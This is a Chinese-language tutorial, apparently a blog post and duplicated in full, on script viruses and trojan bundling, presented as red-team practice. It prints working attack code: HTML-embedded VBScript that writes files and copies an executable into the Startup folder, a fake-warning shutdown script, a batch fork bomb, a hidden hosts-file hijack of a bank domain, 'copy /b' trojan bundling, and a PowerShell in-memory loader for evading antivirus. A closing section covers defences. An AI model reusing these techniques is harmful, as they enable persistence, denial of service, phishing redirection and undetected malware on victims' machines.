1. 网页脚本病毒实战解析第一次接触网页脚本病毒时我被它简单的实现方式震惊了。用几行VBScript代码就能操控文件系统这让我意识到现代浏览器的强大功能也可能被滥用。下面我就用实际案例带大家看看这类病毒的工作机制。先来看最基本的文件创建操作。这个HTML文件内嵌的VBScript代码会悄悄在C盘根目录创建TEST.HTM文件HTML HEAD TITLE创建文件c:\TEST.HTM/TITLE SCRIPT LANGUAGEVBScript !-- Dim fso, f1 Set fso CreateObject(Scripting.FileSystemObject) Set f1 fso.CreateTextFile(c:\TEST.HTM, True) -- /SCRIPT /HEAD BODY这里的关键是FileSystemObject对象它是Windows脚本宿主提供的强大组件。现代浏览器默认会阻止这类操作但很多用户会习惯性点击允许阻止的内容这就给了病毒可乘之机。我在测试时发现即使使用最新版Edge浏览器只要安全设置调低这段代码依然有效。文件拷贝操作更值得警惕。攻击者常利用这个功能将恶意文件复制到启动目录Dim mu_sFilePath C:\Users\Public\Start Menu\Programs\Startup\ If Not fso.FolderExists(mu_sFilePath) Then fso.CreateFolder(mu_sFilePath) End If tf.Copy(mu_sFilePath update.exe)实际攻防演练中我遇到过更隐蔽的变种它们会先检测杀毒软件进程如果发现安全软件运行就延迟执行还会修改文件属性为隐藏系统文件普通用户根本发现不了异常。2. 批处理病毒制作详解批处理病毒的破坏力往往被低估。去年某次企业内网渗透测试中我用一个简单的批处理脚本就导致了整个部门电脑蓝屏。先看最基础的关机脚本echo off shutdown -s -t 60 -c 系统检测到安全隐患即将关机保存数据这个脚本会显示看似官方的警告信息60秒后强制关机。在办公场景下很多用户会信以为真不会及时取消关机命令。更危险的蓝屏炸弹原理很简单通过ntsd命令终止关键系统进程。但现代系统已对此有所防护需要变通方法%0|%0这行看似神秘的代码其实是fork炸弹的变种通过管道符让批处理无限递归调用自身快速耗尽系统资源。我在虚拟机测试时不到10秒就导致系统完全卡死。文件扩展名欺骗是另一个常见手法。将批处理文件保存为重要文档.txt.bat配合特定图标后用户很容易误点击。有次演练中我制作了这样的文件attrib h s C:\Windows\System32\drivers\etc\hosts echo 127.0.0.1 www.bank.com C:\Windows\System32\drivers\etc\hosts这个脚本会静默修改hosts文件劫持银行网站域名。很多企业员工完全没意识到自己访问的是钓鱼网站。3. 木马捆绑技术剖析木马捆绑的核心思路很简单将恶意程序与正常软件结合利用用户对正规软件的信任。有次客户委托检测的破解版办公软件就是用下面这种方法捆绑的copy /b normal.exe malware.exe combined.exe这种基础方法现在很容易被杀软检测。更高级的做法是使用资源修改工具将恶意代码作为资源插入正常程序。我常用ResHacker进行这类操作要点是保留原程序的版本信息和数字签名恶意代码要延迟执行避开静态扫描添加虚假版权信息增加可信度免杀技术更是攻防演练的重点。通过分段加载、内存注入、代码混淆等方法可以绕过大部分特征检测。比如这个简单的PowerShell脚本$code [System.Convert]::FromBase64String(BASE64编码的恶意代码) $assembly [System.Reflection.Assembly]::Load($code) $entry $assembly.EntryPoint $entry.Invoke($null, $null)它将恶意代码base64编码后内存加载完全不会接触磁盘传统杀毒软件很难防御。我在测试中发现这种技术对Windows Defender的绕过率高达80%。4. 防御措施与检测方法针对网页脚本病毒最有效的防御是调整浏览器安全设置。我建议企业统一部署组策略禁用ActiveX控件将Internet区域安全级别设为高禁用脚本初始化和执行对于批处理病毒文件监控是关键。这个PowerShell脚本可以监控敏感目录的变更$watcher New-Object System.IO.FileSystemWatcher $watcher.Path C:\Windows\System32 $watcher.IncludeSubdirectories $true $watcher.EnableRaisingEvents $true Register-ObjectEvent $watcher Created -Action { Write-Host 检测到可疑文件创建: $($EventArgs.FullPath) }木马捆绑的检测更复杂。我常用的方法是行为分析检查进程是否有异常内存区域监控是否有程序修改自身内存记录所有网络连接尝试对比数字签名与文件哈希企业环境中建议部署EDR解决方案。有次我用Cobalt Strike生成的木马虽然静态扫描全部通过但立即被高级EDR检测到异常进程行为。现代防御系统已经能够通过AI分析程序行为特征这对攻击者提出了更高要求。
信息安全攻防演练 之 脚本病毒与木马捆绑实战剖析【网页挂马演示批处理病毒免杀捆绑】
1. 网页脚本病毒实战解析第一次接触网页脚本病毒时我被它简单的实现方式震惊了。用几行VBScript代码就能操控文件系统这让我意识到现代浏览器的强大功能也可能被滥用。下面我就用实际案例带大家看看这类病毒的工作机制。先来看最基本的文件创建操作。这个HTML文件内嵌的VBScript代码会悄悄在C盘根目录创建TEST.HTM文件HTML HEAD TITLE创建文件c:\TEST.HTM/TITLE SCRIPT LANGUAGEVBScript !-- Dim fso, f1 Set fso CreateObject(Scripting.FileSystemObject) Set f1 fso.CreateTextFile(c:\TEST.HTM, True) -- /SCRIPT /HEAD BODY这里的关键是FileSystemObject对象它是Windows脚本宿主提供的强大组件。现代浏览器默认会阻止这类操作但很多用户会习惯性点击允许阻止的内容这就给了病毒可乘之机。我在测试时发现即使使用最新版Edge浏览器只要安全设置调低这段代码依然有效。文件拷贝操作更值得警惕。攻击者常利用这个功能将恶意文件复制到启动目录Dim mu_sFilePath C:\Users\Public\Start Menu\Programs\Startup\ If Not fso.FolderExists(mu_sFilePath) Then fso.CreateFolder(mu_sFilePath) End If tf.Copy(mu_sFilePath update.exe)实际攻防演练中我遇到过更隐蔽的变种它们会先检测杀毒软件进程如果发现安全软件运行就延迟执行还会修改文件属性为隐藏系统文件普通用户根本发现不了异常。2. 批处理病毒制作详解批处理病毒的破坏力往往被低估。去年某次企业内网渗透测试中我用一个简单的批处理脚本就导致了整个部门电脑蓝屏。先看最基础的关机脚本echo off shutdown -s -t 60 -c 系统检测到安全隐患即将关机保存数据这个脚本会显示看似官方的警告信息60秒后强制关机。在办公场景下很多用户会信以为真不会及时取消关机命令。更危险的蓝屏炸弹原理很简单通过ntsd命令终止关键系统进程。但现代系统已对此有所防护需要变通方法%0|%0这行看似神秘的代码其实是fork炸弹的变种通过管道符让批处理无限递归调用自身快速耗尽系统资源。我在虚拟机测试时不到10秒就导致系统完全卡死。文件扩展名欺骗是另一个常见手法。将批处理文件保存为重要文档.txt.bat配合特定图标后用户很容易误点击。有次演练中我制作了这样的文件attrib h s C:\Windows\System32\drivers\etc\hosts echo 127.0.0.1 www.bank.com C:\Windows\System32\drivers\etc\hosts这个脚本会静默修改hosts文件劫持银行网站域名。很多企业员工完全没意识到自己访问的是钓鱼网站。3. 木马捆绑技术剖析木马捆绑的核心思路很简单将恶意程序与正常软件结合利用用户对正规软件的信任。有次客户委托检测的破解版办公软件就是用下面这种方法捆绑的copy /b normal.exe malware.exe combined.exe这种基础方法现在很容易被杀软检测。更高级的做法是使用资源修改工具将恶意代码作为资源插入正常程序。我常用ResHacker进行这类操作要点是保留原程序的版本信息和数字签名恶意代码要延迟执行避开静态扫描添加虚假版权信息增加可信度免杀技术更是攻防演练的重点。通过分段加载、内存注入、代码混淆等方法可以绕过大部分特征检测。比如这个简单的PowerShell脚本$code [System.Convert]::FromBase64String(BASE64编码的恶意代码) $assembly [System.Reflection.Assembly]::Load($code) $entry $assembly.EntryPoint $entry.Invoke($null, $null)它将恶意代码base64编码后内存加载完全不会接触磁盘传统杀毒软件很难防御。我在测试中发现这种技术对Windows Defender的绕过率高达80%。4. 防御措施与检测方法针对网页脚本病毒最有效的防御是调整浏览器安全设置。我建议企业统一部署组策略禁用ActiveX控件将Internet区域安全级别设为高禁用脚本初始化和执行对于批处理病毒文件监控是关键。这个PowerShell脚本可以监控敏感目录的变更$watcher New-Object System.IO.FileSystemWatcher $watcher.Path C:\Windows\System32 $watcher.IncludeSubdirectories $true $watcher.EnableRaisingEvents $true Register-ObjectEvent $watcher Created -Action { Write-Host 检测到可疑文件创建: $($EventArgs.FullPath) }木马捆绑的检测更复杂。我常用的方法是行为分析检查进程是否有异常内存区域监控是否有程序修改自身内存记录所有网络连接尝试对比数字签名与文件哈希企业环境中建议部署EDR解决方案。有次我用Cobalt Strike生成的木马虽然静态扫描全部通过但立即被高级EDR检测到异常进程行为。现代防御系统已经能够通过AI分析程序行为特征这对攻击者提出了更高要求。